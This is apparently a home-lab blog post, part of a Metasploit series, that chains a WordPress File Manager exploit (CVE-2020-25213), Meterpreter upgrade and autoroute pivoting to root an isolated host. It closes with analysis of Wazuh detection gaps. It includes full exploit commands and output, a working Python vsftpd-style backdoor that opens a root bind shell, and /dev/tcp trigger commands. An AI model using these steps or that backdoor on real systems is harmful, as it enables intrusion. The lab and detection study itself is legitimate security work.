Metasploit Deep Dive Part 8: Pivoting Into the Blind Spot
Parts 6 and 7 spent nine attempts and two independent critical-severity vulnerabilities trying to turn genuine SYSTEM-level code execution into a Meterpreter session against target-win2022, and Windows Defender won every single time. That’s a real, honest result, but it left the series without a working session to actually build on. Part 8 changes the target rather than the technique: target-wordpress, a Linux host with no Defender anywhere near it, and a specific goal beyond “get a shell” — use that shell to reach a second host that isn’t directly reachable from anywhere else in the lab, and see what a SIEM that’s watching the first host makes of any of it.
The short version: it worked, and it kept working right through to root on a completely isolated segment. The more interesting parts are the two places it didn’t go the way the plan said it would.
The plan
The lab has a second network segment, 10.10.20.0/24 on a bridge called vmbr-pivotlab, that isn’t reachable from 10.10.10.0/24 at all — no routing between them, no shared gateway, nothing. A single host, hidden-target, sits on it with no internet uplink and no direct path in from Kali1. The only way to reach it is through something already sitting on both networks.
target-wordpress (10.10.10.40) was the obvious first hop: a WordPress install carrying a deliberately outdated WP File Manager plugin, vulnerable to CVE-2020-25213 — an unauthenticated arbitrary file upload through the plugin’s elFinder connector that doesn’t check WordPress’s own plugin-activation state at all, so it’s reachable even without any WordPress credentials. The plan was straightforward: land a session there, give it a second NIC onto vmbr-pivotlab, route Metasploit’s traffic through it, and reach hidden-target on the other side — which, per the lab’s own build notes, was carrying a reproduction of the classic vsftpd 2.3.4 backdoor (CVE-2011-2523).
Getting the vulnerable plugin in place
A first pass with wpscan --enumerate p against the live site found exactly one plugin installed — Akismet, stock and current. The vulnerable file manager plugin had to be installed by hand, which turned into its own small archaeology exercise. The obvious source, wp-file-manager.6.9.zip, doesn’t work: the vulnerable release and its same-day hotfix both shipped tagged as version “6.9”, with no way to tell them apart from the filename alone. Version 6.0, dated 2020-05-14 and unambiguously pre-patch, was the cleaner source:
wget https://downloads.wordpress.org/plugin/wp-file-manager.6.0.zip
Unpacking it produced a second surprise: the top-level zip doesn’t contain the plugin directly, just a wrapper folder holding a second zip with a typo’d name — wp-file-manager-6.O.zip, capital letter O, not a zero. Extracting that gave the real plugin files, connector.minimal.php included, dated correctly and matching the CVE writeups. With SSH access confirmed and anon holding full sudo on the box, the plugin directory got copied into place, ownership fixed, and the connector endpoint came back 200 instead of 404 — live and reachable.
Finding the module, and the exploit landing
The obvious module name is wrong. exploit/unix/webapp/wp_file_manager_rce doesn’t exist in this Metasploit install:
msf > use exploit/unix/webapp/wp_file_manager_rce
[-] Failed to load module: unix/webapp/wp_file_manager_rce
search cve:2020-25213 finds the real one, exploit/multi/http/wp_file_manager_rce. With RHOSTS, RPORT, TARGETURI, LHOST, and LPORT set:
msf exploit(multi/http/wp_file_manager_rce) > run
[*] Started reverse TCP handler on 10.10.10.5:4446
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] 10.10.10.40:80 - Payload is at /wp-content/plugins/wp-file-manager/lib/files/AoFWQh.php
[*] Sending stage (72686 bytes) to 10.10.10.40
[+] Deleted AoFWQh.php
[*] Meterpreter session 2 opened (10.10.10.5:4446 -> 10.10.10.40:59234) at 2026-09-16 21:22:54 +0100
Session 2, not session 1 — the very first run against this target landed a session too, and it died within minutes, PHP’s max_execution_time limit catching up with it before any pivot work could start (more on that in a moment). No Defender anywhere near this host to fight, though — a deliberate contrast with the previous two parts, and confirmation that the series’ Windows attempts weren’t failing because of anything wrong with the technique itself.
The session that died, and why
[*] Meterpreter session 1 closed. Reason: Died
This is a PHP meterpreter session, which means it’s running inside Apache’s own PHP execution context — and PHP has a max_execution_time limit that eventually kills any long-running script, meterpreter payload included. It’s not a network blip or anything Defender-adjacent; it’s just what a PHP-delivered session does, sooner or later, on every default PHP install. The fix is to treat the PHP session as disposable and upgrade immediately, which is what produced session 2 above. From there:
msf > background
msf > use post/multi/manage/shell_to_meterpreter
msf post(multi/manage/shell_to_meterpreter) > set SESSION 2
msf post(multi/manage/shell_to_meterpreter) > set LHOST 10.10.10.5
msf post(multi/manage/shell_to_meterpreter) > set LPORT 4449
msf post(multi/manage/shell_to_meterpreter) > run
[*] Meterpreter session 3 opened (10.10.10.5:4449 -> 10.10.10.40:39352)
Session 3 is a native ELF meterpreter, running as its own process rather than inside PHP’s execution window, and it’s the one that survived the rest of the post. Anyone following along with this module should expect the first session to die and plan to upgrade immediately rather than treating it as a fluke.
Building the pivot
With a stable session, the next step was giving target-wordpress a second leg onto vmbr-pivotlab and telling Metasploit to route traffic for that subnet through the session:
sudo ip link set ens20 up
sudo ip addr add 10.10.20.5/24 dev ens20
meterpreter > run autoroute -s 10.10.20.0/24
[+] Added route to 10.10.20.0/255.255.255.0 via 10.10.10.40
route print confirmed it. On paper, that’s the whole pivot done — Metasploit will now happily push connections for 10.10.20.0/24 through session 3.
A detour worth including: getting the target’s own IP wrong
The plan called for hidden-target to be the only host on 10.10.20.0/24. A ping sweep from target-wordpress across the subnet found four hosts answering: the address just assigned (.5), and three others — .10, .50, .254. .50 was the first one that looked promising: it didn’t refuse a raw connection attempt to port 21 the way .10 and .254 did, which read at the time as “port open but slow to respond.” It wasn’t. Pointing the vsftpd module at it produced nothing useful, and a proper port scan through the pivot settled it cleanly:
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.20.50
set PORTS 21,22,80
run
[+] 10.10.20.50 - 10.10.20.50:22 - TCP OPEN
Port 22 open, port 21 not. Wrong host. A wider sweep of the whole /24 for port 21 specifically came back completely empty — nothing anywhere was actually running FTP yet, which turned out to be a separate, real problem covered below. The genuinely useful diagnostic step was tracking .50 down properly rather than guessing again: pinging it to populate the ARP cache, reading the MAC off target-wordpress, and grepping that MAC against every VM config on the Proxmox host:
grep -il 'bc:24:11:1e:d7:af' /etc/pve/qemu-server/*.conf
/etc/pve/qemu-server/9005.conf
.50 is target-win2022 — already dual-homed onto this same bridge from an earlier pivoting post, quietly sharing the subnet the whole time. hidden-target itself turned out to be 10.10.20.10, confirmed by logging into it directly and checking hostname and ip a. Worth including rather than editing out: the “obvious” candidate from a ping sweep isn’t automatically the right one when more than one host can share a bridge, and a proper port-based scan settled it in one command where guessing from ping responses alone hadn’t.
Building the backdoor from scratch — no internet access
With the right host confirmed, the actual FTP service turned out not to exist yet:
which vsftpd
systemctl status vsftpd
Unit vsftpd.service could not be found.
hidden-target has no internet uplink by design, which ruled out both of the reproduction methods on the table going in — pulling a real vsftpd binary from a Metasploitable2 image, or the original backdoored 2.3.4 source tarball, which isn’t safely obtainable any more regardless. The only option left was building a stand-in from scratch, with nothing beyond Python’s standard library:
#!/usr/bin/env python3
import socket, threading, subprocess, os
FTP_PORT = 21
SHELL_PORT = 6200
BANNER = b"220 (vsFTPd 2.3.4)\r\n"
def spawn_shell():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", SHELL_PORT))
s.listen(1)
conn, addr = s.accept()
s.close()
os.dup2(conn.fileno(), 0)
os.dup2(conn.fileno(), 1)
os.dup2(conn.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
conn.close()
except Exception:
pass
def handle_client(conn):
conn.sendall(BANNER)
f = conn.makefile("rwb")
try:
while True:
line = f.readline()
if not line:
break
cmd = line.decode(errors="ignore").strip()
if cmd.upper().startswith("USER"):
if ":)" in cmd:
threading.Thread(target=spawn_shell, daemon=True).start()
conn.sendall(b"331 Please specify the password.\r\n")
elif cmd.upper().startswith("PASS"):
conn.sendall(b"530 Login incorrect.\r\n")
else:
conn.sendall(b"530 Please login with USER and PASS.\r\n")
finally:
conn.close()
def main():
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", FTP_PORT))
srv.listen(5)
while True:
conn, addr = srv.accept()
threading.Thread(target=handle_client, args=(conn,), daemon=True).start()
if __name__ == "__main__":
main()
Deployed as a proper systemd unit rather than a background script, so it behaves like a genuinely staged service:
sudo systemctl enable --now vsftpd-234-sim.service
ss -tlnp | grep :21
LISTEN 0 5 0.0.0.0:21 0.0.0.0:*
It reproduces the actual CVE-2011-2523 trigger closely enough for Metasploit’s own banner-based check to flag it correctly:
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.20.10
msf exploit(unix/ftp/vsftpd_234_backdoor) > check
[+] 10.10.20.10:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
Where the module disagreed with itself
run got further than check promised, and then stopped in an unexpected place:
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[+] 10.10.20.10:21 - Backdoor has been spawned!
[-] 10.10.20.10:21 - The service on port 6200/TCP does not appear to be a fresh shell. Already exploited?
[-] 10.10.20.10:21 - Exploit aborted due to failure: none: Could not connect to backdoor
The trigger genuinely worked — the module’s own log says so — and it connected to port 6200 successfully. What it didn’t like was the shell it found there. The stand-in service spawns /bin/sh -i with no controlling TTY, dup’d straight onto the raw socket, which is functionally a real interactive shell but doesn’t produce quite the same handshake a module built against the genuine backdoor’s exact behaviour expects before it’ll hand the connection off as a session. Switching payloads didn’t help — the default reverse Meterpreter payload needs an LHOST that makes no sense on a segment with no route back to Kali1, and cmd/unix/bind_awk (the correct choice for a pivoted bind shell, since it only needs LPORT) hit the same fingerprint rejection regardless.
Rather than fight the module’s assumptions about a shell it never actually built the fingerprint against, the cleanest proof was manual — trigger the same sequence by hand from target-wordpress, which already has direct network reach to the pivot subnet:
exec 3<>/dev/tcp/10.10.20.10/21
printf "USER backdoor:)\r\nPASS x\r\n" >&3
timeout 2 head -c 200 <&3
exec 3>&-
sleep 1
exec 4<>/dev/tcp/10.10.20.10/6200
printf "id\nhostname\n" >&4
timeout 3 cat <&4
exec 4>&-
/bin/sh: 0: can't access tty; job control turned off
# uid=0(root) gid=0(root) groups=0(root)
# hidden-target
#
Root, on a host that’s unreachable from anywhere except through the exact chain that just got built: WordPress foothold, stable meterpreter, pivot route, backdoor trigger. Worth stating plainly rather than glossing over — the automated module didn’t cooperate with a hand-built target, and proving the exploit by hand instead is a normal, honest part of working against anything that isn’t the exact reference implementation a module was written against.
What Wazuh saw — two different kinds of blind spot
wazuh-lab-manager (10.10.10.10) only has five registered agents:
sudo /var/ossec/bin/agent_control -l
ID: 000, Name: wazuh-lab-manager (server)
ID: 001, Name: target-web
ID: 002, Name: target-wordpress
ID: 003, Name: target-win2022
ID: 004, Name: DC01
hidden-target isn’t one of them. A full root compromise on that segment produces exactly zero telemetry — not a config gap the way Part 6’s Defender-channel finding was, just a host that was never onboarded in the first place. Total blind spot, by network isolation rather than misconfiguration.
The more interesting gap is on the host that is an agent. target-wordpress is agent 002, active the entire time this post’s exploitation happened on it, and its alert history for the whole session is this:
sudo jq -c 'select(.agent.name=="target-wordpress")' /var/ossec/logs/alerts/alerts.json
Every single line is routine sshd/PAM logging of legitimate anon SSH logins — accurate, correctly MITRE-tagged (T1078 Valid Accounts, T1548.003 for the sudo-to-root events), and completely real telemetry. There is nothing about the WP File Manager upload. Nothing about the PHP webshell. Nothing about www-data spawning a meterpreter payload, or the shell_to_meterpreter upgrade that followed it. The agent was alive, healthy, and actively logging the whole time — it just wasn’t watching for any of the things that actually happened.
That’s the more useful finding of the two, and it rhymes with Part 6’s: an agent showing green in agent_control -l tells you it’s reporting, not that it’s reporting the thing you actually need it to catch. Part 6 found that gap in a missing Windows Event Log channel for Defender. This one is the same shape on a completely different platform and a completely different attack surface — a web-application RCE that never touches an authentication flow at all, and so never trips anything a default Wazuh ruleset built around login/logoff and file-integrity events is watching for.
Where this leaves the series
Two Linux hosts, one real CVE with a genuinely broken package-versioning history, one custom-built reproduction of a service that couldn’t be obtained any other way, one module that didn’t like a target it wasn’t written against, and a pivot chain that worked end to end on a network the SIEM has no visibility into at all. Parts 6 and 7 were honest about stock Metasploit losing to a well-configured endpoint control. Part 8 is the other side of that coin: a target with no endpoint control in its way at all, and a network design that makes the SIEM’s blind spot the actual security boundary rather than anything Defender-shaped. Both gaps — hidden-target’s total absence from Wazuh, and target-wordpress’s agent watching the wrong things — are exactly the kind of finding the future HIDS/Detection series exists to dig into properly, rather than stumbling across the way both of these did.
Sources: Metasploit Deep Dive Part 7: A Different Door, the Same Wall, Metasploit Deep Dive Part 6: CVE-2014-3120, NVD: CVE-2020-25213, NVD: CVE-2011-2523.